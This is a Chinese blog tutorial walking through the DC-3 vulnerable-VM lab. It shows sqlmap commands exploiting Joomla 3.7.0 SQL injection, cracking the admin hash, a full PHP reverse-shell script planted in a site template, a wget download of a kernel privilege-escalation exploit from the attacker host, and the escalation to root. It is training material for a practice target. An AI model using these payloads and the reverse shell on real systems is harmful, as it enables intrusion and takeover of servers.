【渗透测试】DC-3提权靶场渗透教程

【渗透测试】DC-3提权靶场渗透教程

靶机地址:

官网:
http://www.five86.com/downloads/DC-3-2.zip

百度网盘:
https://pan.baidu.com/s/1nK2rG5Wuh4MDZmsT8tvYkw?pwd=4pa2 

夸克:

开启nat模式

image-20240918145420442

开机

image-20241026133822223

开始渗透,主机发现

image-20241026135337480

端口快速扫描

image-20241026135300504

80端口服务,并快速找到编程语言

image-20241026135705618

御剑扫描

image-20241026140153946

后台界面

image-20241026140342830

安装 joomscan 这个工具

image-20241026171913180

检查

image-20241026171949298

检索这个joomla版本信息是3.7.0

joomscan -u 192.168.60.131

image-20241027124459668

使用searchsploit 来搜索漏洞信息

image-20241026212942736

搜索所有 joomla 指定版本的漏洞信息,用法,中间添加一个空格就可以了。

image-20241026213331135

再精确,我要找到 joomla 3.7.0 版本的sql注入漏洞

image-20241026213447048

复制到剪切板

我们可以利用-p选项,我们可以获得有关目标漏洞的更多信息,并将该漏洞的完整路径复制到剪切板上。

searchsploit 42033
searchsploit -p 42033

image-20241026214945560

我们查看这个内容

image-20241026214852755

sqlmap

复制上图的payload,并把localhost本地地址替换成靶场地址

sqlmap -u "http://192.168.60.131/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering] --current-user

这个时候就得到了数据库信息,并使用 –current-user 获取当前数据库用户,可以看到是root用户

image-20241026220730291

指定数据库为当前网站的数据库,枚举数据库所有表

sqlmap -u "http://192.168.60.131/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering] -D joomladb --tables

image-20241027004716244

指定表"#__users",并列出所有的列名

sqlmap -u "http://192.168.60.131/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering] -D joomladb -T '#__users' --columns

image-20241027005401815

我只要username和password两个字段

sqlmap -u "http://192.168.60.131/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering] -D joomladb -T '#__users' -C username,password --dump

image-20241027005554431

创建一个文件,存储好hash后的密文,使用 john 来爆破一下,提示我们使用--show参数,来显示所有可能的密文

image-20241027011152257

得到 admin的密码snoopy,登录后台

image-20241027015313432

添加一个php脚本,用于编写一句话木马

image-20241027015515753

image-20241027103804358

修改一下这个文件的两个参数,然后全部复制到这个script.php

image-20241027111332254

源码如下

<?php
set_time_limit (0);
$VERSION = "1.0";
$ip = '192.168.60.132';  // 你攻击机的IP地址
$port = 1234;       // 攻击机nc监听的地址
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; /bin/sh -i';
$daemon = 0;
$debug = 0;

if (function_exists('pcntl_fork')) {
    // Fork and have the parent process exit
    $pid = pcntl_fork();

    if ($pid == -1) {
        printit("ERROR: Can't fork");
        exit(1);
    }

    if ($pid) {
        exit(0);  // Parent exits
    }

    // Make the current process a session leader
    // Will only succeed if we forked
    if (posix_setsid() == -1) {
        printit("Error: Can't setsid()");
        exit(1);
    }

    $daemon = 1;
} else {
    printit("WARNING: Failed to daemonise.  This is quite common and not fatal.");
}

// Change to a safe directory
chdir("/");

// Remove any umask we inherited
umask(0);

//
// Do the reverse shell...
//

// Open reverse connection
$sock = fsockopen($ip, $port, $errno, $errstr, 30);
if (!$sock) {
    printit("$errstr ($errno)");
    exit(1);
}

// Spawn shell process
$descriptorspec = array(
   0 => array("pipe", "r"),  // stdin is a pipe that the child will read from
   1 => array("pipe", "w"),  // stdout is a pipe that the child will write to
   2 => array("pipe", "w")   // stderr is a pipe that the child will write to
);

$process = proc_open($shell, $descriptorspec, $pipes);

if (!is_resource($process)) {
    printit("ERROR: Can't spawn shell");
    exit(1);
}

// Set everything to non-blocking
// Reason: Occsionally reads will block, even though stream_select tells us they won't
stream_set_blocking($pipes[0], 0);
stream_set_blocking($pipes[1], 0);
stream_set_blocking($pipes[2], 0);
stream_set_blocking($sock, 0);

printit("Successfully opened reverse shell to $ip:$port");

while (1) {
    // Check for end of TCP connection
    if (feof($sock)) {
        printit("ERROR: Shell connection terminated");
        break;
    }

    // Check for end of STDOUT
    if (feof($pipes[1])) {
        printit("ERROR: Shell process terminated");
        break;
    }

    // Wait until a command is end down $sock, or some
    // command output is available on STDOUT or STDERR
    $read_a = array($sock, $pipes[1], $pipes[2]);
    $num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);

    // If we can read from the TCP socket, send
    // data to process's STDIN
    if (in_array($sock, $read_a)) {
        if ($debug) printit("SOCK READ");
        $input = fread($sock, $chunk_size);
        if ($debug) printit("SOCK: $input");
        fwrite($pipes[0], $input);
    }

    // If we can read from the process's STDOUT
    // send data down tcp connection
    if (in_array($pipes[1], $read_a)) {
        if ($debug) printit("STDOUT READ");
        $input = fread($pipes[1], $chunk_size);
        if ($debug) printit("STDOUT: $input");
        fwrite($sock, $input);
    }

    // If we can read from the process's STDERR
    // send data down tcp connection
    if (in_array($pipes[2], $read_a)) {
        if ($debug) printit("STDERR READ");
        $input = fread($pipes[2], $chunk_size);
        if ($debug) printit("STDERR: $input");
        fwrite($sock, $input);
    }
}

fclose($sock);
fclose($pipes[0]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($process);

// Like print, but does nothing if we've daemonised ourself
// (I can't figure out how to redirect STDOUT like a proper daemon)
function printit ($string) {
    if (!$daemon) {
        print "$stringn";
    }
}

?> 

粘贴到这个php木马中

image-20241027111701587

kali开启监听

image-20241027111943430

默认情况下的模板位置是在 /templates 目录下

image-20241027101917304

当前模板名称为 beez3

image-20241027111609846

得出脚本位置

http://192.168.60.131/templates/beez3/script.php

成功上线

image-20241027112011119

创建一个交互式shell

python -c 'import pty;pty.spawn("/bin/bash")'

image-20241027112259653

上图可以看到不是root用户

信息收集

image-20241027112714250

两个重要文件的权限

image-20241027112842821

查看发布者信息,都没有可疑点

image-20241027113256889

那么还是一样,使用searchsploit漏洞检索

image-20241027113902961

我们需要的是提权漏洞,再添加关键字 Privilege Escalation

image-20241027113844930

找到4.4.x的漏洞,进行尝试

image-20241027114228148

可以看到漏洞的产生原因以及利用方法。

image-20241027114419054

搜索exp,有一个下载链接

image-20241027114557840

下载下来即可

image-20241027114734748

解压,并开启http请求

image-20241027120202956

复制这个文件的地址就好

http://192.168.60.132:8000/39772/exploit.tar

image-20241027120359369

靶机下载这个文件,但是提示我们没有权限

wget http://192.168.60.132:8000/39772/exploit.tar

image-20241027120914466

这个时候就要想到刚刚在网页上能创建php文件的目录了,查找刚刚创建的脚本

find / -name "script.php" 2>/dev/null

image-20241027121619894

我们在这个文件下载,下载完成

image-20241027121716615

解压到这个文件夹中

image-20241027121837257

根据这个39772的txt文件提示依次执行

image-20241027115951135

提权成功。

image-20241027122030358

成功通关!

image-20241027122114259

往期推荐

飞雪-网络安全见闻

如何在GZCTF部署简单的Web和PWN动态flag?

【CTF杂项】常见文件文件头、文件尾格式总结及各类文件头

一款开源持续更新的后渗透免杀框架

【RCE剖析】从0-1讲解RCE漏洞绕过,Windows与Linux/RCE漏洞绕过方式总结—-实战解析

本站内容部分转载于互联网,并不代表本站立场!如若本站内容侵犯了原著者的合法权益,可联系我们进行处理! 拒绝任何人以任何形式在本站发表与中华人民共和国法律相抵触的言论!
THE END
喜欢就支持一下吧
点赞14 分享
评论 抢沙发
头像
欢迎您留下宝贵的见解!
提交
头像

昵称

取消
昵称表情代码图片

    暂无评论内容